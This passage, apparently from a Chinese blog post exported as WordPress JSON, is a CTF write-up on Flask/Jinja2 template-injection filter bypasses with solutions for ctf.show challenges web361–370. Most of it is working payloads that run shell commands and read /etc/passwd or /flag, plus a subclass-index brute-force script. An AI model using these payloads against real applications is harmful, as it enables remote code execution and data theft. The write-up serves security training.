\u6211\u4eec\u77e5\u9053\u8bbf\u95ee\u5b57\u5178\u91cc\u7684\u503c\u6709\u4e24\u79cd\u65b9\u6cd5\uff0c\u4e00\u79cd\u662f\u628a\u76f8\u5e94\u7684\u952e\u653e\u5165\u719f\u6089\u7684\u65b9\u62ec\u53f7 [] \u91cc\u6765\u8bbf\u95ee\uff0c\u4e00\u79cd\u5c31\u662f\u7528\u70b9 . \u6765\u8bbf\u95ee\u3002\u6240\u4ee5\uff0c\u5f53\u65b9\u62ec\u53f7 [] \u88ab\u8fc7\u6ee4\u4e4b\u540e\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u7528\u70b9 . \u7684\u65b9\u5f0f\u6765\u8bbf\u95ee\uff0c\u5982\u4e0b\u793a\u4f8b
\/\/ __builtins__.eval()
\u200b
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__(\"os\").popen(\"ls \/\").read()')}}
->
\/\/ [__builtins__]['eval']()
\u200b
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"ls \/\").read()')}}<\/pre>\n\n\n\n\u8fc7\u6ee4\u4e86\u5f15\u53f7<\/h5>\n\n\n\n
\u5229\u7528chr()\u7ed5\u8fc7
\u5148\u83b7\u53d6chr()\u51fd\u6570\uff0c\u8d4b\u503c\u7ed9chr\uff0c\u540e\u9762\u518d\u62fc\u63a5\u6210\u4e00\u4e2a\u5b57\u7b26\u4e32
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
\u200b
# {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
->
{{().__class__.__bases__[0].__subclasses__().pop(40)('\/etc\/passwd').read()}}<\/pre>\n\n\n\n\u5229\u7528request\u5bf9\u8c61\u7ed5\u8fc7<\/strong><\/p>\n\n\n\n
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=\/etc\/passwd
\u200b
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls \/
->
{{().__class__.__bases__[0].__subclasses__().pop(40)('\/etc\/passwd').read()}}
\u200b
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls \/').read()}}
\/\/\u5982\u679c\u8fc7\u6ee4\u4e86args\uff0c\u53ef\u4ee5\u5c06\u5176\u4e2d\u7684request.args\u6539\u4e3arequest.values\uff0cPOST\u548cGET\u4e24\u79cd\u65b9\u6cd5\u4f20\u9012\u7684\u6570\u636erequest.values\u90fd\u53ef\u4ee5\u63a5\u6536\u3002<\/pre>\n\n\n\n\u8fc7\u6ee4\u4e86\u4e0b\u5212\u7ebf__<\/h5>\n\n\n\n
\u5229\u7528request\u5bf9\u8c61\u7ed5\u8fc7
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('\/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
\u200b
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls \/').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
->
{{().__class__.__bases__[0].__subclasses__().pop(40)('\/etc\/passwd').read()}}
\u200b
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls \/').read()}}<\/pre>\n\n\n\n\u8fc7\u6ee4\u4e86\u70b9 .<\/h5>\n\n\n\n
\u5229\u7528 |attr() \u7ed5\u8fc7\uff08\u9002\u7528\u4e8eflask\uff09
\u200b
\u5982\u679c . \u4e5f\u88ab\u8fc7\u6ee4\uff0c\u4e14\u76ee\u6807\u662fJinJa2\uff08flask\uff09\u7684\u8bdd\uff0c\u53ef\u4ee5\u4f7f\u7528\u539f\u751fJinJa2\u51fd\u6570attr()\uff0c\u5373\uff1a
().__class__ => ()|attr(\"__class__\")
\u200b
{{()|attr(\"__class__\")|attr(\"__base__\")|attr(\"__subclasses__\")()|attr(\"__getitem__\")(77)|attr(\"__init__\")|attr(\"__globals__\")|attr(\"__getitem__\")(\"os\")|attr(\"popen\")(\"ls \/\")|attr(\"read\")()}}
-> {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls \/').read()}}
\u5229\u7528\u4e2d\u62ec\u53f7[ ]\u7ed5\u8fc7
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__(\"os\").popen(\"ls\").read()')}}
->
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__(\"os\").popen(\"ls \/\").read()')}} \/\/\u8fd9\u6837\u7684\u8bdd\uff0c\u90a3\u4e48 __class__\u3001__bases__ \u7b49\u5173\u952e\u5b57\u5c31\u6210\u4e86\u5b57\u7b26\u4e32\uff0c\u5c31\u90fd\u53ef\u4ee5\u7528\u524d\u9762\u6240\u8bb2\u7684\u5173\u952e\u5b57\u7ed5\u8fc7\u7684\u59ff\u52bf\u8fdb\u884c\u7ed5\u8fc7\u4e86\u3002<\/pre>\n\n\n\n\u8fc7\u6ee4\u4e86\u5927\u62ec\u53f7 {{<\/h5>\n\n\n\n
\u6211\u4eec\u53ef\u4ee5\u7528Jinja2\u7684 {%...%} \u8bed\u53e5\u88c5\u8f7d\u4e00\u4e2a\u5faa\u73af\u63a7\u5236\u8bed\u53e5\u6765\u7ed5\u8fc7\uff1a
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls \/').read()\")}}{% endif %}{% endfor %}
\u4e5f\u53ef\u4ee5\u4f7f\u7528 {% if ... %}1{% endif %} \u914d\u5408 os.popen \u548c curl \u5c06\u6267\u884c\u7ed3\u679c\u5916\u5e26\uff08\u4e0d\u5916\u5e26\u7684\u8bdd\u65e0\u56de\u663e\uff09\u51fa\u6765\uff1a
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls \/' %}1{% endif %}
\u4e5f\u53ef\u4ee5\u7528 {%print(......)%} \u7684\u5f62\u5f0f\u6765\u4ee3\u66ff {{ \uff0c\u5982\u4e0b\uff1a
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%} <\/pre>\n\n\n\n\u5229\u7528
|attr()<\/code> \u6765Bypass<\/h5>\n\n\n\n\u8fd9\u91cc\u8bf4\u4e00\u4e2a\u65b0\u4e1c\u897f\uff0c\u5c31\u662f\u539f\u751fJinJa2\u51fd\u6570 attr()\uff0c\u8fd9\u662f\u4e00\u4e2a attr() \u8fc7\u6ee4\u5668\uff0c\u5b83\u53ea\u67e5\u627e\u5c5e\u6027\uff0c\u83b7\u53d6\u5e76\u8fd4\u56de\u5bf9\u8c61\u7684\u5c5e\u6027\u7684\u503c\uff0c\u8fc7\u6ee4\u5668\u4e0e\u53d8\u91cf\u7528\u7ba1\u9053\u7b26\u53f7\uff08 | \uff09\u5206\u5272\u3002\u5982\uff1a
foo|attr(\"bar\") \u7b49\u540c\u4e8e foo[\"bar\"]<\/pre>\n\n\n\n\u5229\u7528lipsum\u65b9\u6cd5\u7ed5\u8fc7<\/h5>\n\n\n\n
\u5229\u7528\u5b83\u76f4\u63a5\u8c03\u7528
__globals__<\/code>\u53d1\u73b0\u53ef\u4ee5\u76f4\u63a5\u6267\u884cos\u547d\u4ee4\uff0c\u6d4b\u4e86\u4e00\u4e0b\u53d1\u73b0__builtins__<\/code>\u4e5f\u53ef\u4ee5\u7528<\/p>\n\n\n\n{{lipsum.__globals__['os'].popen('whoami').read()}}
\u200b
{{lipsum.__globals__['__builtins__']['eval'](\"__import__('os').popen('whoami').read()\")}}
\u200b
{{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
\/\/\u540c\u7406
\u4f7f\u7528url_for\u51fd\u6570\u83b7\u53d6\u5168\u5c40\u53d8\u91cf\u5f97\u5230config\u5f97\u5230flag
\u200b
{{url_for.globals[\u201ccurrent_app\u201d].config}}
\u200b
{{get_flashed_messages.globals[\u2018current_app\u2019].config}}<\/pre>\n\n\n\nshow\u9776\u573a\u5237\u9898<\/h2>\n\n\n\n
web361<\/h3>\n\n\n\n
\u9644\u4e0a\u53bb\u811a\u672c<\/p>\n\n\n\n
import requests
for i in range(233):
url = 'http:\/\/438829d5-cdff-48a0-9b79-db834b871262.challenge.ctf.show\/?name={{%22%22.__class__.__mro__[1].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if 'os._wrap_close' in r :
print(i)<\/pre>\n\n\n\n\u65e0\u8fc7\u6ee4<\/p>\n\n\n\n
payload1:{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('tac \/f*').read()}}
\/\/{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen('tac \/f*').read()}}
payload2:{{url_for.__globals__.os.popen('tac \/f*').read()}}
payload3:{{lipsum.__globals__.os.popen('tac \/f*').read()}}<\/pre>\n\n\n\nweb362<\/h3>\n\n\n\n
\u8fc7\u6ee4\u6570\u5b57<\/p>\n\n\n\n
payload1:{{''.__class__.__mro__[1].__subclasses__()[\uff11\uff13\uff12].__init__.__globals__['popen']('tac \/f*').read()}}\/\/\u5168\u89d2\u6570\u5b57\u4ee3\u66ff\u6b63\u5e38\u6570\u5b57
payload2:{{url_for.__globals__.os.popen('tac \/f*').read()}}
payload3:{{lipsum.__globals__.os.popen('tac \/f*').read()}}<\/pre>\n\n\n\n\u811a\u672c<\/h4>\n\n\n\n
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s=\"0123456789\"
for i in s:
t+='\\''+half2full(i)+'\\','
print(t)
# \u5f97\u5230\u5168\u89d2\u6570\u5b57:
# '\uff10','\uff11','\uff12','\uff13','\uff14','\uff15','\uff16','\uff17','\uff18','\uff19'<\/pre>\n\n\n\nweb363<\/h3>\n\n\n\n
\u8fc7\u6ee4\u4e86\u5355\u53cc\u5f15\u53f7<\/p>\n\n\n\n
payload1:{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=tac \/f*
payload2:{{url_for.__globals__.os.popen(request.args.a).read()}}&a=tac \/f*
payload3:{{lipsum.__globals__.os.popen(request.args.a).read()}}&a=tac \/f*<\/pre>\n\n\n\nweb364<\/h3>\n\n\n\n
\u8fc7\u6ee4\u4e86args<\/p>\n\n\n\n
payload1:{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=tac \/f*
payload2:{{url_for.__globals__.os.popen(request.values.a).read()}}&a=tac \/f*
payload3:{{lipsum.__globals__.os.popen(request.values.a).read()}}&a=tac \/f*<\/pre>\n\n\n\nweb365<\/h3>\n\n\n\n
\u8fc7\u6ee4\u4e86[]<\/p>\n\n\n\n
payload1:{{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=tac \/f*
\/\/{{().__class__.__mro__.1.__subclasses__().132.__init__.__globals__.popen(request.values.a).read()}}&a=tac \/f*
payload2:{{url_for.__globals__.os.popen(request.values.a).read()}}&a=tac \/f*
payload3:{{lipsum.__globals__.os.popen(request.values.a).read()}}&a=tac \/f*<\/pre>\n\n\n\nweb366<\/h3>\n\n\n\n
\u8fc7\u6ee4\u4e0b\u5212\u7ebf\u548c[]<\/p>\n\n\n\n
payload1:
payload2:{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=tac \/f*<\/pre>\n\n\n\nweb367<\/h3>\n\n\n\n
\u8fc7\u6ee4\u4e86os<\/p>\n\n\n\n
payload:{{(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()}}&a=__globals__&b=tac \/f*&c=os<\/pre>\n\n\n\nweb368<\/h3>\n\n\n\n
\u8fc7\u6ee4\u4e86\u5927\u62ec\u53f7
{{}}<\/code>\u3002<\/p>\n\n\n\n\u4f7f\u7528
{%%}<\/code>\u7ed5\u8fc7,\u518d\u501f\u52a9print()<\/code>\u56de\u663e<\/p>\n\n\n\npayload:?a=__globals__&b=os&c=cat \/flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}<\/pre>\n\n\n\nweb369<\/h3>\n\n\n\n
\u8fc7\u6ee4\u7684\u771f\u7684\u5389\u5bb3\uff0c\u5148\u4e0apayload<\/p>\n\n\n\n
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}<\/pre>\n\n\n\n{% set po=dict(po=a,p=a)|join%} \u62fc\u63a5\u51fa\u6765pop\u8fd9\u4e2a\u5b57\u5178\uff0c\u7136\u540e\u53ef\u4ee5\u52a0{%print po%}\u53ef\u4ee5\u56de\u663e\u51fa\u6765pop<\/pre>\n\n\n\n{% set a=(()|select|string|list)|attr(po)(24)%} \u8fd9\u4e2a\u662f\u5bf9\u7a7a\u5143\u7ec4\u8fdb\u884c\u64cd\u4f5c\uff0c\u8f6c\u5316\u4e3astr\u518d\u8f6c\u5316\u4e3alist\u5217\u8868\uff0c\u7136\u540e\u83b7\u53d6\u5b57\u5178po\u91cc\u9762\u7684\u5c5e\u6027\u91cc\u9762\u7684\u7b2c24\u4e2a\u9879\uff0c\u603b\u7ed3\u62fc\u63a5\u51fa\u6765_<\/pre>\n\n\n\n{% set ini=(a,a,dict(init=a)|join,a,a)|join%} \u4f7f\u7528ini\u4ee3\u66ff__init__\uff0c\u4e0b\u9762\u6709\u7684\u540c\u7406<\/pre>\n\n\n\n{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%} \u8fd9\u4e2a\u5c31\u76f4\u63a5\u8fdb\u884c\u603b\u7ed3\u4e86\uff0c\u8ba9x=\u4e0a\u9762\u603b\u7ed3\u7684\u9b54\u672f\u65b9\u6cd5<\/pre>\n\n\n\n{% set chr=x.chr %} \u518dx\u5bf9\u8c61\u91cc\u9762\u63d0\u51fa\u6765chr\u5c5e\u6027<\/pre>\n\n\n\n{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)% } \u62fc\u63a5\u51fa\u6765\/flag<\/pre>\n\n\n\n{%print(x.open(file).read())%} \u8fdb\u884c\u6253\u5370\u51fa\u6765\/flag\u7684\u5185\u5bb9<\/pre>\n\n\n\nweb370<\/h3>\n\n\n\n
\u8fc7\u6ee4\u4e86\u6570\u5b57\uff0c\u628a\u4e0a\u9762\u7684\u6570\u5b57\u6362\u6210\u5168\u89d2\u6570\u5b57\u5c31\u884c\u4e86<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8fd9\u4e2a\u662f\u5173\u4e8eflask\u67b6\u6784\u7684ssti\u6f0f\u6d1e\uff0c\u6240\u4ee5\u8981\u5148\u8bb2\u89e3flask\u67b6\u6784 flask\u67b6\u6784 Flask\u662f\u4e00\u4e2aPytho […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-109","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=109"}],"version-history":[{"count":6,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/109\/revisions"}],"predecessor-version":[{"id":119,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/109\/revisions\/119"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=109"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}